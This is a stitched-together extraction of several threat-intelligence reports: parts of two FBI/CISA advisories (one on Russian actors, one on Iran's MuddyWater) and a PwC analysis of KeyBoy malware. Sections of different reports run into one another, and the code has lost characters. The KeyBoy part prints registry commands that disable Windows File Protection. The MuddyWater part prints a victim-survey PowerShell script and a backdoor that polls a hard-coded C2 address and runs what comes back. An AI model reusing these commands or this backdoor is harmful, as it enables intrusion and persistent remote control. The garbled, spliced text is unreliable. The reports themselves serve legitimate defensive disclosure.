https://www.cisa.gov/known-exploited-vulnerabilities-catalog https://docs.microsoft.com/en-us/answers/questions/87978/reset-krbtgt-password.html https://docs.microsoft.com/en-us/answers/questions/87978/reset-krbtgt-password.html FBI CISA TLP:WHITE Page 5 of 7 Product ID: AA22-074A TLP:WHITE Regularly audit administrative user accounts and configure access control under the concept of least privilege.
Regularly audit logs to ensure new accounts are legitimate users.
Scan networks for open and listening ports and mediate those that are unnecessary.
Maintain historical network activity logs for at least 180 days, in case of a suspected compromise.
Identify and create offline backups for critical assets.
Implement network segmentation.
Automatically update anti-virus and anti-malware solutions and conduct regular virus and malware scans.
Remote Work Environment Best Practices With the increased use of remote work environments and VPN services, the FBI and CISA encourage organizations to implement the following best practices to improve network security: Regularly update VPNs, network infrastructure devices, and devices used for remote work environments with the latest software patches and security configurations.
When possible, implement multi-factor authentication on all VPN connections.
Physical security tokens are the most secure form of MFA, followed by authenticator applications.
When MFA is unavailable, require employees engaging in remote work to use strong passwords.
Monitor network traffic for unapproved and unexpected protocols.
Reduce potential attack surfaces by discontinuing unused VPN servers that may be used as a point of entry for cyber actors.
User Awareness Best Practices Cyber actors frequently use unsophisticated methods to gain initial access, which can often be mitigated by stronger employee awareness of indicators of malicious activity.
The FBI and CISA recommend the following best practices to improve employee operations security when conducting business: Provide end-user awareness and training.
To help prevent targeted social engineering and spearphishing scams, ensure that employees and stakeholders are aware of potential cyber threats and delivery methods.
Also, provide users with training on information security principles and techniques.
Inform employees of the risks associated with posting detailed career information to social or professional networking sites.
Ensure that employees are aware of what to do and whom to contact when they see suspicious activity or suspect a cyber incident, to help quickly and efficiently identify threats and employ mitigation strategies.
FBI CISA TLP:WHITE Page 6 of 7 Product ID: AA22-074A TLP:WHITE INFORMATION REQUESTED All organizations should report incidents and anomalous activity to the FBI via your local FBI field office or the FBIs 24/7 CyWatch at (855) 292-3937 or CyWatchfbi.gov and/or CISAs 24/7 Operations Center at reportcisa.gov or (888) 282-0870.
mailto:CyWatchfbi.gov mailto:centralcisa.dhs.gov FBI CISA TLP:WHITE Page 7 of 7 Product ID: AA22-074A TLP:WHITE APPENDIX A: THREAT ACTOR TACTICS AND TECHNIQUES See table 1 for the threat actors tactics and techniques identified in this CSA.
See the ATTCK for Enterprise for all referenced threat actor tactics and techniques.
Table 1: Threat Actor MITRE ATTCK Tactics and Techniques Tactic Technique Initial Access [TA0001] Valid Accounts [T1078] Persistence [TA0003] External Remote Services [T1133] Modify Authentication Process [T1556] Privilege Escalation [TA0004] Exploitation for Privilege Escalation [T1068] Defense Evasion [TA0005] Modify Registry [T1112] Credential Access [TA0006] Brute Force: Password Guessing [T1110.001] OS Credential Dumping: NTDS [T1003.003] Discovery [TA0007] Remote System Discovery [T1018] Lateral Movement [TA0008] Collection [TA0009] Archive Collected Data: Archive via Utility [T1560.001] https://attack.mitre.org/versions/v10/techniques/enterprise/ https://attack.mitre.org/versions/v10/techniques/enterprise/ https://attack.mitre.org/versions/v10/tactics/TA0001/ https://attack.mitre.org/versions/v10/techniques/T1078/ https://attack.mitre.org/versions/v10/tactics/TA0003/ https://attack.mitre.org/versions/v10/techniques/T1133/ https://attack.mitre.org/versions/v10/techniques/T1556/ https://attack.mitre.org/versions/v10/tactics/TA0004/ https://attack.mitre.org/versions/v10/techniques/T1068/ https://attack.mitre.org/versions/v10/tactics/TA0005/ https://attack.mitre.org/versions/v10/techniques/T1112/ https://attack.mitre.org/versions/v10/tactics/TA0006/ https://attack.mitre.org/versions/v10/techniques/T1110/001/ https://attack.mitre.org/versions/v10/techniques/T1003/003/ https://attack.mitre.org/versions/v10/tactics/TA0007/ https://attack.mitre.org/versions/v10/techniques/T1018/ https://attack.mitre.org/versions/v10/tactics/TA0008/ https://attack.mitre.org/versions/v10/tactics/TA0009/ https://attack.mitre.org/versions/v10/techniques/T1560/001/ Russian State-Sponsored Cyber Actors Gain Network Access by Exploiting Default Multifactor Authentication Protocols and PrintNightmare Vulnerability Summary Technical Details Threat Actor Activity Indicators of Compromise Mitigations Information Requested Appendix A: Threat Actor TActics and Techniques
The KeyBoys are back in town www.pwc.co.uk/issues/cyber-security-data-privacy/research/the-keyboys-are-back- in-town.html Analysis Our analysis starts with a Microsoft Word document named 2017 Q4 Work Plan.docx (with a hash of 292843976600e8ad2130224d70356bfc), which was created on 2017-10- 11 by a user called Admin, and first uploaded to VirusTotal, a website and file scanning service, on the same day, by a user in South Africa.
Curiously, the Word document does not contain any macros, or even an exploit.
Rather, it uses a technique recently reported on by SensePost, which allows an attacker to craft a specifically created Microsoft Word document, which uses the Dynamic Data Exchange (DDE) protocol.
DDE traditionally allows for the sending of messages between applications that share data, for example from Word to Excel or vice versa.
In the case reported on by SensePost, this allowed for the fetching or downloading of remote payloads, using PowerShell for example.
Figure 1 Word Error Once we extract the initial document, using 7-zip for example, we can observe the usual structure, and inside, a file called document.xml is of interest.
In this XML, a remote payload, in this case a DLL, will be downloaded using PowerShell, moved to the users temporary folder, and run using rundll32.exe, starting in the HOK function or export.
Figure 2 shows the relevant part in our XML file.
Figure 2 - Download and payload execution This debug.dll is a PE32 binary file with the following properties: md5 hash: 64b2ac701a0d67da134e13b2efc46900 sha1 hash: 1bb516d70591a5a0eb55ee71f9f38597f3640b14 sha256 hash: f3f55c3df39b85d934121355bed439b53501f996e9b39d4abed14c7fe8081d92 size: 531,456 bytes internal DLL name: InstallClient.dll compiler: Microsoft linker: Microsoft Linker(14.0)[DLL32] compilation time: 2017-07-06 08:50:10 This DLL serves as a dropper for the actual payload, and as such the internal name of InstallClient is an apt choice by the threat actor.
Developing a Yara rule for the simple dropper DLL, yielded several new binaries: 1dbbdd99cb8d7089ab31efb5dcf09706 5708e0320879de6f9ac928046b1e4f4e a6903d93f9d6f328bcfe3e196fd8c78b cf6f333f99ee6342d6735ac2f6a37c1e ac9b8c82651eafff9a3bbe7c69d69447 d6ddecdb823de235dd650c0f7a2f3d8f We have analysed d6ddecdb823de235dd650c0f7a2f3d8f, which also has InstallClient.dll as its internal name, as it seems to be the earliest dropper DLL used in this campaign, and does not appear to be very different from any of the other DLLs so far uncovered.
The DLL starts in the function named Insys, which performs some simple checks, for example, if the current user account is an administrator, and will subsequently call the function named SSSS, which is the main function.
A substantial amount of actions will follow according to whats defined in the SSSS function, as follows: Prepare target DLL, in this case rasauto.dll, for replacement in C:\Windows\System32 Stop the service belonging to the target DLL, and use the takeown and icacls commands to gain full permissions for the system service DLL Disable Windows File Protection, which normally prevents software or users from replacing critical Windows files Suppress any error messages from Windows from popping up on boot Copy the target DLL, rasauto.dll, to a new file named rasauto32.dll Replace the target DLL with the malwares DLL, which is time-stomped in order to evade detection Start the now malicious service using net.exe and net1.exe and, Create configuration and keylogs in C:\Windows\system32, using an uncommon extension, in this case .tsp, and additionally create a folder in C:\Programdata for the purpose of screen captures.
The malware will also, in some observed cases, output debug or error messages in a newly created file in the users Application Data folder as DebugLog.
TXT, for example: \AppData\Roaming\Microsoft\Windows\Cookies\DebugLog.
TXT Then, the original dropper DLL will then be deleted, using a simple batch file that runs in a loop.
In Figures 3 to 5, the target DLL, the original and new DLL, as well as the full process flow are shown.
Figure 3 - Target DLL, config and keylog file built dynamically on the stack Figure 4 - Real and fake rasauto.dll (rasauto32.dll is the real or original DLL) Figure 5 - Complete process flow While visually there is apparently no difference, due to the malware being time-stomped (altering the created and modified dates of a file or folder), we can however observe a few subtle differences in the real and malicious binary.
Figure 6 - Subtle differences As can be seen in Figure 6, the fake DLL has a different link date, some minor spelling mistakes, and does not include the build in the file version details.
As the malware also disables Windows File Protection and thus any pop-ups, it may not be immediately obvious to system administrators that a legitimate DLL was actually replaced.
The following commands are issued in order to achieve persistence: reg add HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon /v SFCDisable /t REG_DWORD /d 4 /f reg add HKLM\SYSTEM\CurrentControlSet\Control\Windows /v NoPopUpsOnBoot /t REG_DWORD /d 1 /f Taking a look at the Windows registry for our service, RasAuto, short for Remote Access Auto Connection Manager and historically used for connecting dial-up modems to the internet for example, reveals no specific additional modifications.
Dllhost.exe is additionally seen to call back or phone home to a hardcoded range of C2 servers, on ports 53, 80, and 443.
Figure 7 - Dllhost connecting to a remote address Dllhost usually has no need to connect to the internet or WAN, and as such it is a possible indicator of malicious activity.
Attaching a debugger to dllhost.exe, reveals the keylogger files and configuration, replaced DLL file, as well as another folder, which is likely used to store screenshots and other data.
Another ASCII string can be discovered in the DLLs config, MDDEFGEGETGIZ, which likely pertains to the specific KeyBoy campaign, or target.
Figure 8 - ASCII dump The malware leveraged by KeyBoy has a plethora of functionality, including, but not limited to: Screen grabbing/taking screenshots Determine public or WAN IP address (using a public IP service), likely for determining a suited target Gather extended system information, such as information about the operating system, disks, memory and so on A file browser or explorer Shutdown and reboot commands (in addition to the point below) Launching interactive shells for communicating with the victim machine Download and upload functionality and Usage of custom SSL libraries for masquerading C2 traffic.
Interestingly enough, the malware developers left several unique debug messages, for example: GetScreenCmd from file:s Take Screen Error,May no user login Take Screen Error,service dll not exists Earlier, we mentioned the threat actor uses custom SSL libraries to communicate to the C2.
While we have been unable to observe this behavior in any traffic logs, we were able to extract a certificate, which can be found in Appendix B.
Converting this certificate to the DER format, we find strings pointing to jessma.org, and an email address, ldcsaa21cn.com.
These belong to projects by a Chinese developer, where one of the tools or libraries is named HP-Socket, which is a High Performance TCP/UDP Socket Component.
Additionally, said library sported an interesting debug path: D:\Work\VS\Horse\TSSL\TSSL_v0.3.1_20170722\TClient\Release\TClient.pdb In addition to writing a Yara rule for the dropper DLL and finding additional samples as mentioned above, we repeated the same process for the payload DLL.
In Table 1 below, you may find other payloads, with their related and fake, or replaced Windows DLL or service.
Hash Impersonated DLL Impersonated service a55b0c98ac3965067d0270a95e60e87e ikeext.dll IKE and AuthIP IPsec Keying Modules 2e04cdf98aead9dd9a5210d7e601cca7 rasauto.dll Remote Access Auto Connection Manager d6ddecdb823de235dd650c0f7a2f3d8f rasauto.dll Remote Access Auto Connection Manager 1dbbdd99cb8d7089ab31efb5dcf09706 sinet.dll Unknown 581ddf0208038a90f8bc2cdc75833425 sinet.dll Unknown Table 1 - Impersonated DLLs Sinet.dll may relate to SPlayer, a popular video player in China.
Related samples Hunting further, we have discovered similar samples to the ones described above, with additional interesting debug paths: Hash Debug path 7d39cef34bdc751e9cf9d46d2f0bef95 D:\work\vs\UsbFerry_v2\bin\UsbFerry.pdb 29e44cfa7bcde079e9c7afb23ca8ef86 E:\Work\VS Project\cyassl-3.3.0\out\SSLClient_x64.pdb Table 2 - Other debug paths Both samples include references to a work folder, and a VS or VS Project.
The latter likely points to a Visual Studio project short name, or VS.
While the connection initially seems rather weak, it did hit the same Yara rule as mentioned before and the sample with hash 29e44cfa7bcde079e9c7afb23ca8ef86 additionally includes an SSL certificate, which, when converted, points to another custom SSL library, called WolfSSL, which is a a small, fast, portable implementation of TLS/SSL for embedded devices to the cloud.
The same hash or binary also includes what we assess to be a campaign name or KeyBoy version identifier, which is weblogic20170727.
Another sample which hit our Yara rule is 7aea7486e3a7a839f49ebc61f1680ba3, which was first uploaded to VirusTotal on 2017-08-25.
This sample appears to be an older variant of KeyBoy, as there are several plain-text strings present, which are consistent with CitizenLabs report referenced in the introduction.
All samples (hashes) and other indicators are provided in Appendix A. Infrastructure We have mapped out the complete infrastructure that we have discovered, using Maltego, as shown in Figure 9.
Figure 9 - C2 graphing There was some overlap with the samples and infrastructure, and one email address appears to jump out, which is linked to several domains: 657603405qq[.
]com.
This email address does not appear to have been observed before.
One other relevant point to note in regards to the infrastructure, is the use of dates, likely relating to campaign names, as part of the C2 servers.
Examples include: Weblogic727.xxuz[.
]com (2017-07-27 campaign) and, Weblogic1709.zzux[.
]com (2017-09-17 campaign).
All C2s are provided in Appendix A.
To report suspicious or criminal activity related to information found in this Joint Cybersecurity Advisory, contact your local FBI field office at www.fbi.gov/contact-us/field-offices, or the FBIs 24/7 Cyber Watch (CyWatch) at (855) 292-3937 or by email at CyWatchfbi.gov.
When available, please include the following information regarding the incident: date, time, and location of the incident type of activity number of people affected type of equipment used for the activity the name of the submitting company or organization and a designated point of contact.
To request incident response resources or technical assistance related to these threats, contact CISA at CISAServiceDeskcisa.dhs.gov.
For NSA client requirements or general cybersecurity inquiries, contact the Cybersecurity Requirements Center at Cybersecurity_Requestsnsa.gov.
United Kingdom organizations should report a significant cyber security incident: ncsc.gov.uk/report-an-incident (monitored 24 hours) or for urgent assistance call 03000 200 973.
This document is marked TLP:WHITE.
Disclosure is not limited.
Sources may use TLP:WHITE when information carries minimal or no foreseeable risk of misuse, in accordance with applicable rules and procedures for public release.
Subject to standard copyright rules, TLP:WHITE information may be distributed without restriction.
For more information on the Traffic Light Protocol, see www.cisa.gov/tlp.
TLP: WHITE Product ID: AA22-055A February 24, 2022 TLP:WHITE Co-Authored by: Iranian Government-Sponsored Actors Conduct Cyber Operations Against Global Government and Commercial Networks Note: this advisory uses the MITRE Adversarial Tactics, Techniques, and Common Knowledge (ATTCK) framework, version 10.
See the ATTCK for Enterprise for all referenced threat actor tactics and techniques.
SUMMARY The Federal Bureau of Investigation (FBI), the Cybersecurity and Infrastructure Security Agency (CISA), the U.S. Cyber Command Cyber National Mission Force (CNMF), and the United Kingdoms National Cyber Security Centre (NCSC- UK) have observed a group of Iranian government-sponsored advanced persistent threat (APT) actors, known as MuddyWater, conducting cyber espionage and other malicious cyber operations targeting a range of government and private-sector organizations across sectorsincluding telecommunications, defense, local government, and oil and natural gasin Asia, Africa, Europe, and North America.
Note: MuddyWater is also known as Earth Vetala, MERCURY, Static Kitten, Seedworm, and TEMP.Zagros.
MuddyWater is a subordinate element within the Iranian Ministry of Intelligence and Security (MOIS).
[1] This APT group has conducted broad cyber campaigns in support of MOIS objectives since approximately 2018.
MuddyWater actors are positioned both to provide stolen data and accesses to the Iranian government and to share these with other malicious cyber actors.
Actions to Take Today to Protect Against Malicious Activity Search for indicators of compromise.
Use antivirus software.
Patch all systems.
Prioritize patching known exploited vulnerabilities.
Train users to recognize and report phishing attempts.
Use multi-factor authentication.
https://www.fbi.gov/contact-us/field-offices mailto:CyWatchfbi.gov mailto:CISAServiceDeskcisa.dhs.gov mailto:Cybersecurity_Requestsnsa.gov https://www.ncsc.gov.uk/section/about-this-website/contact-us https://www.cisa.gov/tlp https://attack.mitre.org/versions/v10/techniques/enterprise/ https://www.cybercom.mil/Media/News/Article/2897570/iranian-intel-cyber-suite-of-malware-uses-open-source-tools/ https://us-cert.cisa.gov/ncas/tips/ST04-006 https://www.cisa.gov/known-exploited-vulnerabilities-catalog https://www.cisa.gov/known-exploited-vulnerabilities-catalog https://us-cert.cisa.gov/ncas/tips/ST04-014 https://us-cert.cisa.gov/ncas/tips/ST05-012 FBI CISA CNMF NCSC-UK NSA TLP:WHITE Page 2 of 19 Product ID: AA22-055A TLP: WHITE MuddyWater actors are known to exploit publicly reported vulnerabilities and use open-source tools and strategies to gain access to sensitive data on victims systems and deploy ransomware.
These actors also maintain persistence on victim networks via tactics such as side-loading dynamic link libraries (DLLs)to trick legitimate programs into running malwareand obfuscating PowerShell scripts to hide command and control (C2) functions.
FBI, CISA, CNMF, and NCSC-UK have observed MuddyWater actors recently using various malwarevariants of PowGoop, Small Sieve, Canopy (also known as Starwhale), Mori, and POWERSTATSalong with other tools as part of their malicious activity.
This advisory provides observed tactics, techniques, and procedures (TTPs) malware and indicators of compromise (IOCs) associated with this Iranian government-sponsored APT activity to aid organizations in the identification of malicious activity against sensitive networks.
FBI, CISA, CNMF, NCSC-UK, and the National Security Agency (NSA) recommend organizations apply the mitigations in this advisory and review the following resources for additional information.
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Malware Analysis Report MAR-10369127.r1.v1: MuddyWater IOCs AA22-055A.stix and MAR-10369127.r1.v1.stix CISAs webpage Iran Cyber Threat Overview and Advisories NCSC-UK MAR Small Sieve CNMFs press release Iranian intel cyber suite of malware uses open source tools TECHNICAL DETAILS FBI, CISA, CNMF, and NCSC-UK have observed the Iranian government-sponsored MuddyWater APT group employing spearphishing, exploiting publicly known vulnerabilities, and leveraging multiple open-source tools to gain access to sensitive government and commercial networks.
As part of its spearphishing campaign, MuddyWater attempts to coax their targeted victim into downloading ZIP files, containing either an Excel file with a malicious macro that communicates with the actors C2 server or a PDF file that drops a malicious file to the victims network [T1566.001, T1204.002].
MuddyWater actors also use techniques such as side-loading DLLs [T1574.002] to trick legitimate programs into running malware and obfuscating PowerShell scripts [T1059.001] to hide C2 functions [T1027] (see the PowGoop section for more information).
Additionally, the group uses multiple malware setsincluding PowGoop, Small Sieve, Canopy/Starwhale, Mori, and POWERSTATSfor loading malware, backdoor access, persistence [TA0003], and exfiltration [TA0010].
See below for descriptions of some of these malware sets, including newer tools or variants to the groups suite.
Additionally, see Malware Analysis Report MAR- 10369127.r1.v1: MuddyWater for further details.
PowGoop https://www.cisa.gov/uscert/ncas/analysis-reports/ar22-055a https://www.cisa.gov/uscert/sites/default/files/publications/AA22-055A.stix.xml https://www.cisa.gov/uscert/sites/default/files/publications/MAR-10369127-1.v1.WHITE_stix.xml https://www.us-cert.cisa.gov/iran https://www.ncsc.gov.uk/files/NCSC-Malware-Analysis-Report-Small-Sieve.pdf https://www.cybercom.mil/Media/News/Article/2897570/iranian-intel-cyber-suite-of-malware-uses-open-source-tools/ https://attack.mitre.org/versions/v10/techniques/T1566/001/ https://attack.mitre.org/versions/v10/techniques/T1204/002 https://attack.mitre.org/versions/v10/techniques/T1574/002/ https://attack.mitre.org/versions/v10/techniques/T1059/001/ https://attack.mitre.org/versions/v10/techniques/T1027/ https://attack.mitre.org/versions/v10/tactics/TA0003/ https://attack.mitre.org/versions/v10/tactics/TA0010/ https://www.cisa.gov/uscert/ncas/analysis-reports/ar22-055a https://www.cisa.gov/uscert/ncas/analysis-reports/ar22-055a FBI CISA CNMF NCSC-UK NSA TLP:WHITE Page 3 of 19 Product ID: AA22-055A TLP: WHITE MuddyWater actors use new variants of PowGoop malware as their main loader in malicious operations it consists of a DLL loader and a PowerShell-based downloader.
The malicious file impersonates a legitimate file that is signed as a Google Update executable file.
According to samples of PowGoop analyzed by CISA and CNMF, PowGoop consists of three components: A DLL file renamed as a legitimate filename, Goopdate.dll, to enable the DLL side-loading technique [T1574.002].
The DLL file is contained within an executable, GoogleUpdate.exe.
A PowerShell script, obfuscated as a .dat file, goopdate.dat, used to decrypt and run a second obfuscated PowerShell script, config.txt [T1059.001].
config.txt, an encoded, obfuscated PowerShell script containing a beacon to a hardcoded IP address.
These components retrieve encrypted commands from a C2 server.
The DLL file hides communications with MuddyWater C2 servers by executing with the Google Update service.
Small Sieve According to a sample analyzed by NCSC-UK, Small Sieve is a simple Python [T1059.006] backdoor distributed using a Nullsoft Scriptable Install System (NSIS) installer, gram_app.exe.
The NSIS installs the Python backdoor, index.exe, and adds it as a registry run key [T1547.001], enabling persistence [TA0003].
MuddyWater disguises malicious executables and uses filenames and Registry key names associated with Microsofts Windows Defender to avoid detection during casual inspection.
The APT group has also used variations of Microsoft (e.g., Microsift) and Outlook in its filenames associated with Small Sieve [T1036.005].
Small Sieve provides basic functionality required to maintain and expand a foothold in victim infrastructure and avoid detection [TA0005] by using custom string and traffic obfuscation schemes together with the Telegram Bot application programming interface (API).
Specifically, Small Sieves beacons and taskings are performed using Telegram API over Hypertext Transfer Protocol Secure (HTTPS) [T1071.001], and the tasking and beaconing data is obfuscated through a hex byte swapping encoding scheme combined with an obfuscated Base64 function [T1027], T1132.002].
Note: cybersecurity agencies in the United Kingdom and the United States attribute Small Sieve to MuddyWater with high confidence.
See Appendix B for further analysis of Small Sieve malware.
Canopy MuddyWater also uses Canopy/Starwhale malware, likely distributed via spearphishing emails with targeted attachments [T1566.001].
According to two Canopy/Starwhale samples analyzed by CISA, Canopy uses Windows Script File (.wsf) scripts distributed by a malicious Excel file.
Note: the cybersecurity agencies of the United Kingdom and the United States attribute these malware samples to MuddyWater with high confidence.
https://www.cisa.gov/uscert/ncas/analysis-reports/ar22-055a https://www.cybercom.mil/Media/News/Article/2897570/iranian-intel-cyber-suite-of-malware-uses-open-source-tools/ https://attack.mitre.org/versions/v10/techniques/T1574/002/ https://attack.mitre.org/versions/v10/techniques/T1059/001/ https://www.ncsc.gov.uk/files/NCSC-Malware-Analysis-Report-Small-Sieve.pdf https://attack.mitre.org/versions/v10/techniques/T1059/006/ https://attack.mitre.org/versions/v10/techniques/T1547/001/ https://attack.mitre.org/versions/v10/tactics/TA0003/ https://attack.mitre.org/versions/v10/techniques/T1036/005/ https://attack.mitre.org/versions/v10/tactics/TA0005/ https://attack.mitre.org/versions/v10/techniques/T1071/001 https://attack.mitre.org/versions/v10/techniques/T1027 https://attack.mitre.org/versions/v10/techniques/T1132/002/ https://attack.mitre.org/versions/v10/techniques/T1566/001 FBI CISA CNMF NCSC-UK NSA TLP:WHITE Page 4 of 19 Product ID: AA22-055A TLP: WHITE In the samples CISA analyzed, a malicious Excel file, Cooperation terms.xls, contained macros written in Visual Basic for Applications (VBA) and two encoded Windows Script Files.
When the victim opens the Excel file, they receive a prompt to enable macros [T1204.002].
Once this occurs, the macros are executed, decoding and installing the two embedded Windows Script Files.
The first .wsf is installed in the current user startup folder [T1547.001] for persistence.
The file contains hexadecimal (hex)-encoded strings that have been reshuffled [T1027].
The file executes a command to run the second .wsf.
The second .wsf also contains hex-encoded strings that have been reshuffled.
This file collects [TA0035] the victim systems IP address, computer name, and username [T1005].
The collected data is then hex-encoded and sent to an adversary-controlled IP address, http[:]88.119.170[.
]124, via an HTTP POST request [T1041].
Mori MuddyWater also uses the Mori backdoor that uses Domain Name System tunneling to communicate with the groups C2 infrastructure [T1572].
According to one sample analyzed by CISA, FML.dll, Mori uses a DLL written in C that is executed with regsvr32.exe with export DllRegisterServer this DLL appears to be a component to another program.
FML.dll contains approximately 200MB of junk data [T1001.001] in a resource directory 205, number 105.
Upon execution, FML.dll creates a mutex, 0x50504060, and performs the following tasks: Deletes the file FILENAME.old and deletes file by registry value.
The filename is the DLL file with a .old extension.
Resolves networking APIs from strings that are ADD-encrypted with the key 0x05.
Uses Base64 and Java Script Object Notation (JSON) based on certain key values passed to the JSON library functions.
It appears likely that JSON is used to serialize C2 commands and/or their results.
Communicates using HTTP over either IPv4 or IPv6, depending on the value of an unidentified flag, for C2 [T1071.001].
Reads and/or writes data from the following Registry Keys, HKLM\Software\NFC\IPA and HKLM\Software\NFC\(Default).
POWERSTATS This group is also known to use the POWERSTATS backdoor, which runs PowerShell scripts to maintain persistent access to the victim systems [T1059.001].
CNMF has posted samples further detailing the different parts of MuddyWaters new suite of tools along with JavaScript files used to establish connections back to malicious infrastructureto the malware aggregation tool and repository, Virus Total.
Network operators who identify multiple instances of the tools on the same network should investigate further as this may indicate the presence of an Iranian malicious cyber actor.
https://attack.mitre.org/versions/v10/techniques/T1204/002/ https://attack.mitre.org/versions/v10/techniques/T1547/001/ https://attack.mitre.org/versions/v10/techniques/T1027/ https://attack.mitre.org/versions/v10/tactics/TA0035/ https://attack.mitre.org/versions/v10/techniques/T1005/ https://attack.mitre.org/versions/v10/techniques/T1041/ https://attack.mitre.org/versions/v10/techniques/T1572/ https://attack.mitre.org/versions/v10/techniques/T1001/001/ https://attack.mitre.org/versions/v10/techniques/T1071/001/ https://attack.mitre.org/versions/v10/techniques/T1059 http://www.virustotal.com/en/user/CYBERCOM_Malware_Alert FBI CISA CNMF NCSC-UK NSA TLP:WHITE Page 5 of 19 Product ID: AA22-055A TLP: WHITE MuddyWater actors are also known to exploit unpatched vulnerabilities as part of their targeted operations.
FBI, CISA, CNMF, and NCSC-UK have observed this APT group recently exploiting the Microsoft Netlogon elevation of privilege vulnerability (CVE-2020-1472) and the Microsoft Exchange memory corruption vulnerability (CVE-2020-0688).
See CISAs Known Exploited Vulnerabilities Catalog for additional vulnerabilities with known exploits and joint Cybersecurity Advisory: Iranian Government-Sponsored APT Cyber Actors Exploiting Microsoft Exchange and Fortinet Vulnerabilities for additional Iranian APT group-specific vulnerability exploits.
Survey Script The following script is an example of a survey script used by MuddyWater to enumerate information about victim computers.
It queries the Windows Management Instrumentation (WMI) service to obtain information about the compromised machine to generate a string, with these fields separated by a delimiter (e.g., in this sample).
The produced string is usually encoded by the MuddyWater implant and sent to an adversary-controlled IP address.
O Get-WmiObject Win32_OperatingSystemS O.NameS ips Get- WmiObject Win32_NetworkAdapterConfiguration -Filter IPEnabledTrue ips ips , _.IPAddress[0]S ips.substring(1)S S O.OSArchitectureS S [System.
Net.
DNS]::GetHostByName().HostNameS S ((Get-WmiObject Win32_ComputerSystem).Domain)S S env:UserNameS AntiVirusProducts Get-WmiObject -Namespace root\SecurityCenter2 -Class AntiVirusProduct -ComputerName env:computernameresAnti ()foreach(AntiVirusProduct in AntiVirusProducts)resAnti AntiVirusProduct.displayNameS resAntiecho S Newly Identified PowerShell Backdoor The newly identified PowerShell backdoor used by MuddyWater below uses a single-byte Exclusive- OR (XOR) to encrypt communications with the key 0x02 to adversary-controlled infrastructure.
The script is lightweight in functionality and uses the InvokeScript method to execute responses received from the adversary.
function encode(txt,key)enByte [Text.
Encoding]::UTF8.GetBytes(txt)for(i0 i -lt enByte.count i)enByte[i] enByte[i] -bxor keyencodetxt [Convert]::ToBase64String(enByte)return encodetxtfunction decode(txt,key)enByte [System.
Convert]::FromBase64String(txt)for(i0 i -lt enByte.count i)enByte[i] enByte[i] -bxor keydtxt [System.
Text.
Encoding]::UTF8.GetString(enByte)return dtxtglobal:tt20while(true)tryw [System.
Net.
HttpWebRequest]::Create(http[:]//95.181.161[.
]49:80/index.php?idvi ctim identifier)w.proxy [Net.
WebRequest]::GetSystemWebProxy()r(New- Object System.
IO.StreamReader(w.
GetResponse().GetResponseStream())).ReadToEnd()if(r.
L https://cve.mitre.org/cgi-bin/cvename.cgi?nameCVE-2020-1472 https://cve.mitre.org/cgi-bin/cvename.cgi?nameCVE-2020-0688 https://www.cisa.gov/known-exploited-vulnerabilities-catalog https://www.cisa.gov/known-exploited-vulnerabilities-catalog https://www.cisa.gov/uscert/ncas/alerts/aa21-321a https://www.cisa.gov/uscert/ncas/alerts/aa21-321a FBI CISA CNMF NCSC-UK NSA TLP:WHITE Page 6 of 19 Product ID: AA22-055A TLP: WHITE ength -gt 0)res[string]ExecutionContext.
InvokeCommand.
InvokeScript(( decode r 2))wr [System.
Net.
HttpWebRequest]::Create(http[:]//95.181.161[.
]49:80/index.php?idvi ctim identifier)wr.proxy [Net.
WebRequest]::GetSystemWebProxy()wr.
Headers.
Add(cookie,(encode res 2))wr.
GetResponse().GetResponseStream()catch Start-Sleep -Seconds global:tt MITRE ATTCK TECHNIQUES MuddyWater uses the ATTCK techniques listed in table 1.
Table 1: MuddyWater ATTCK Techniques [2] Technique Title ID Use Reconnaissance Gather Victim Identity Information: Email Addresses T1589.002 MuddyWater has specifically targeted government agency employees with spearphishing emails.
Resource Development Acquire Infrastructure: Web Services T1583.006 MuddyWater has used file sharing services including OneHub to distribute tools.
Obtain Capabilities: Tool T1588.002 MuddyWater has made use of legitimate tools ConnectWise and RemoteUtilities for access to target environments.
Initial Access Phishing: Spearphishing Attachment T1566.001 MuddyWater has compromised third parties and used compromised accounts to send spearphishing emails with targeted attachments.
Phishing: Spearphishing Link T1566.002 MuddyWater has sent targeted spearphishing emails with malicious links.
Execution Windows Management Instrumentation T1047 MuddyWater has used malware that leveraged Windows Management Instrumentation for execution and querying host information.
https://attack.mitre.org/groups/G0069/ https://attack.mitre.org/versions/v10/groups/G0069/ https://attack.mitre.org/versions/v10/techniques/T1589/002 https://attack.mitre.org/versions/v10/techniques/T1583/006/ https://attack.mitre.org/groups/G0069 https://attack.mitre.org/versions/v10/techniques/T1588/002 https://attack.mitre.org/versions/v10/techniques/T1566/001 https://attack.mitre.org/versions/v10/techniques/T1566/002 https://attack.mitre.org/versions/v10/techniques/T1047 FBI CISA CNMF NCSC-UK NSA TLP:WHITE Page 7 of 19 Product ID: AA22-055A TLP: WHITE Command and Scripting Interpreter: PowerShell T1059.001 MuddyWater has used PowerShell for execution.
Command and Scripting Interpreter: Windows Command Shell 1059.003 MuddyWater has used a custom tool for creating reverse shells.
Command and Scripting Interpreter: Visual Basic T1059.005 MuddyWater has used Virtual Basic Script (VBS) files to execute its POWERSTATS payload, as well as macros.
Command and Scripting Interpreter: Python T1059.006 MuddyWater has used developed tools in Python including Out1.
Command and Scripting Interpreter: JavaScript T1059.007 MuddyWater has used JavaScript files to execute its POWERSTATS payload.
Exploitation for Client Execution T1203 MuddyWater has exploited the Office vulnerability CVE- 2017-0199 for execution.
User Execution: Malicious Link T1204.001 MuddyWater has distributed URLs in phishing emails that link to lure documents.
User Execution: Malicious File T1204.002 MuddyWater has attempted to get users to enable macros and launch malicious Microsoft Word documents delivered via spearphishing emails.
Inter-Process Communication: Component Object Model T1559.001 MuddyWater has used malware that has the capability to execute malicious code via COM, DCOM, and Outlook.
Inter-Process Communication: Dynamic Data Exchange T1559.002 MuddyWater has used malware that can execute PowerShell scripts via Dynamic Data Exchange.
Persistence Scheduled Task/Job: Scheduled Task T1053.005 MuddyWater has used scheduled tasks to establish persistence.
Office Application Startup: Office Template Macros T1137.001 MuddyWater has used a Word Template, Normal.dotm, for persistence.
Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder T1547.001 MuddyWater has added Registry Run key KCU\Software\Microsoft\Windows\CurrentVersion\R un\SystemTextEncoding to establish persistence.
